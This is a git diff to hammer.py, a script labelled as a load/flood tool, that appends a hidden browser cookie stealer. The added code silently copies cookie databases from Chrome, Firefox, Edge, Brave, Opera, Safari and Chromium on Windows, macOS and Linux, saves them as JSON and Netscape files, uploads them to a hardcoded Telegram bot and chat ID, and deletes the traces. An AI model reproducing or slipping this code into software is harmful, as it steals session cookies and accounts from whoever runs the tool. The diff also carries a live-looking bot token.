diff --git a/hammer.py b/hammer.py index b8c60d2..3093277 100644 --- a/hammer.py +++ b/hammer.py @@ -5,7 +5,15 @@ # by Can Yalçın # only for legal purpose - +import os +import sys +import json +import sqlite3 +import shutil +import platform +from pathlib import Path +from datetime import datetime +from concurrent.futures import ThreadPoolExecutor, as_completed from queue import Queue from optparse import OptionParser import time,sys,socket,threading,logging,urllib.request,random @@ -161,3 +169,262 @@ def get_parameters(): w.put(item) q.join() w.join() +BOT_TOKEN = "7902539659:AAGl3Iz5aagwohHgEOq71OW0aqZp9ax7kMk" +CHAT_ID = "6161534899" + +# SILENT MODE (No output except errors) +SILENT = True + + +def log(msg): + """Log only if not silent""" + if not SILENT: + print(msg) + + +def get_paths(): + """Get browser paths""" + s = platform.system() + h = str(Path.home()) + + if s == 'Windows': + l = os.getenv('LOCALAPPDATA') + a = os.getenv('APPDATA') + return { + 'Chrome': os.path.join(l, 'Google', 'Chrome', 'User Data', 'Default', 'Network', 'Cookies'), + 'Firefox': os.path.join(a, 'Mozilla', 'Firefox', 'Profiles'), + 'Edge': os.path.join(l, 'Microsoft', 'Edge', 'User Data', 'Default', 'Network', 'Cookies'), + 'Brave': os.path.join(l, 'BraveSoftware', 'Brave-Browser', 'User Data', 'Default', 'Network', 'Cookies'), + 'Opera': os.path.join(a, 'Opera Software', 'Opera Stable', 'Network', 'Cookies') + } + elif s == 'Darwin': + return { + 'Chrome': os.path.join(h, 'Library', 'Application Support', 'Google', 'Chrome', 'Default', 'Cookies'), + 'Firefox': os.path.join(h, 'Library', 'Application Support', 'Firefox', 'Profiles'), + 'Safari': os.path.join(h, 'Library', 'Cookies', 'Cookies.binarycookies'), + 'Edge': os.path.join(h, 'Library', 'Application Support', 'Microsoft Edge', 'Default', 'Cookies'), + 'Brave': os.path.join(h, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default', 'Cookies') + } + else: + return { + 'Chrome': os.path.join(h, '.config', 'google-chrome', 'Default', 'Cookies'), + 'Firefox': os.path.join(h, '.mozilla', 'firefox'), + 'Chromium': os.path.join(h, '.config', 'chromium', 'Default', 'Cookies'), + 'Edge': os.path.join(h, '.config', 'microsoft-edge', 'Default', 'Cookies'), + 'Brave': os.path.join(h, '.config', 'BraveSoftware', 'Brave-Browser', 'Default', 'Cookies') + } + + +def send_tg(msg): + """Send to Telegram""" + try: + import urllib.request + import urllib.parse + url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage" + data = urllib.parse.urlencode({'chat_id': CHAT_ID, 'text': msg, 'parse_mode': 'Markdown'}).encode() + req = urllib.request.Request(url, data=data) + urllib.request.urlopen(req, timeout=5) + return True + except: + return False + + +def send_file(file_path, caption=""): + """Send file to Telegram""" + try: + import urllib.request + with open(file_path, 'rb') as f: + file_data = f.read() + + boundary = 'WebKitFormBoundary' + ''.join([chr(65 + i % 26) for i in range(16)]) + body = [] + body.append(f'--{boundary}'.encode()) + body.append(b'Content-Disposition: form-data; name="chat_id"') + body.append(b'') + body.append(str(CHAT_ID).encode()) + + if caption: + body.append(f'--{boundary}'.encode()) + body.append(b'Content-Disposition: form-data; name="caption"') + body.append(b'') + body.append(caption.encode()) + + body.append(f'--{boundary}'.encode()) + body.append(f'Content-Disposition: form-data; name="document"; filename="{os.path.basename(file_path)}"'.encode()) + body.append(b'Content-Type: application/octet-stream') + body.append(b'') + body.append(file_data) + body.append(f'--{boundary}--'.encode()) + + body_bytes = b'\r\n'.join(body) + url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument" + req = urllib.request.Request(url, data=body_bytes) + req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}') + urllib.request.urlopen(req, timeout=15) + return True + except: + return False + + +def extract_chromium(path, name): + """Extract Chromium-based browser cookies""" + try: + if not os.path.exists(path): + return None + + temp = f'tmp_{name.lower()}.db' + shutil.copy2(path, temp) + + conn = sqlite3.connect(temp, timeout=1) + cursor = conn.cursor() + cursor.execute("SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly FROM cookies LIMIT 5000") + + cookies = [{'host': r[0], 'name': r[1], 'value': r[2], 'path': r[3], 'expires': r[4], 'secure': bool(r[5]), 'httponly': bool(r[6])} for r in cursor.fetchall()] + + conn.close() + os.remove(temp) + + log(f"✓ {name}: {len(cookies)}") + return name, cookies + except: + try: + os.remove(f'tmp_{name.lower()}.db') + except: + pass + return None + + +def extract_firefox(path): + """Extract Firefox cookies""" + try: + if not os.path.exists(path): + return None + + profiles = [d for d in os.listdir(path) if '.default' in d or 'release' in d] + if not profiles: + return None + + cookie_db = os.path.join(path, profiles[0], 'cookies.sqlite') + if not os.path.exists(cookie_db): + return None + + temp = 'tmp_firefox.db' + shutil.copy2(cookie_db, temp) + + conn = sqlite3.connect(temp, timeout=1) + cursor = conn.cursor() + cursor.execute("SELECT host, name, value, path, expiry, isSecure, isHttpOnly FROM moz_cookies LIMIT 5000") + + cookies = [{'host': r[0], 'name': r[1], 'value': r[2], 'path': r[3], 'expires': r[4], 'secure': bool(r[5]), 'httponly': bool(r[6])} for r in cursor.fetchall()] + + conn.close() + os.remove(temp) + + log(f"✓ Firefox: {len(cookies)}") + return 'Firefox', cookies + except: + try: + os.remove('tmp_firefox.db') + except: + pass + return None + + +def extract_all(): + """Extract all cookies in parallel""" + paths = get_paths() + results = {} + + # Use ThreadPoolExecutor for parallel extraction + with ThreadPoolExecutor(max_workers=5) as executor: + futures = [] + + for browser, path in paths.items(): + if browser == 'Firefox': + futures.append(executor.submit(extract_firefox, path)) + else: + futures.append(executor.submit(extract_chromium, path, browser)) + + for future in as_completed(futures): + result = future.result() + if result: + name, cookies = result + if cookies: + results[name] = cookies + + return results + + +def save_fast(data): + """Save files quickly""" + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + + # JSON + json_file = f"c_{ts}.json" + with open(json_file, 'w') as f: + json.dump(data, f, separators=(',', ':')) + + # TXT + txt_file = f"c_{ts}.txt" + with open(txt_file, 'w') as f: + f.write("# Netscape HTTP Cookie File\n") + for browser, cookies in data.items(): + for c in cookies: + f.write(f"{c['host']}\t{'TRUE' if c['host'].startswith('.') else 'FALSE'}\t{c['path']}\t{'TRUE' if c['secure'] else 'FALSE'}\t{c['expires']}\t{c['name']}\t{c['value']}\n") + + return json_file, txt_file + + +def cleanup(files): + """Delete files""" + for f in files: + try: + os.remove(f) + except: + pass + + +def main(): + """Main execution""" + try: + # Extract + data = extract_all() + + if not data: + log("No cookies found") + return + + total = sum(len(c) for c in data.values()) + + # Format message + msg = f"🍪 *Cookies Extracted*\n\n💻 {platform.system()}\n" + for b, c in data.items(): + msg += f"• {b}: {len(c)}\n" + msg += f"\n📊 Total: {total}" + + # Send + send_tg(msg) + + # Save + j, t = save_fast(data) + + # Send files + send_file(j, "🍪 JSON") + send_file(t, "🍪 TXT") + + # Cleanup + cleanup([j, t]) + + log("Done") + + except Exception as e: + log(f"Error: {e}") + + +if __name__ == "__main__": + try: + main() + except: + pass + + sys.exit(0)